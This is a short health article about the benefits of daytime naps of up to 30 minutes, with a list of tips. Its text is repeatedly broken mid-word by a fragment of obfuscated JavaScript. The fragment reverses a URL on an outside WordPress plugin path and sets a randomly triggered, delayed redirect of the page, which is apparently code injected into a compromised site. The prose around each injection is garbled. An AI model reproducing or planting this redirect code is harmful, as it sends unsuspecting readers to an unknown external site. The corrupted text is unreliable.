Taking Naps in the Daytime: Is It a Healthy Habit?

Health -

Short naps, not exceeding 30 minutes won’t make you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too sleepy and will help you improve concentration without breaking your regimen.

It does not compensate for insufficient and intermittent night’s sleep, but it can at least boost your mood and energy for better focus and performance.

Famous personalities such as John F. Kennedy, Albert Einstein, Napoleon, Winstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Churchill and Thomas Edison were known toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take a nap after lunch.

A few tips:

  1. Choose a specific time after a nap.
  2. Set the alarm not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oversleep.
  3. Turn off the phone, use a sleep mask, and cool down the room.
  4. When you wake up, wash your face with cool water and some exercises.

Source: Flo.health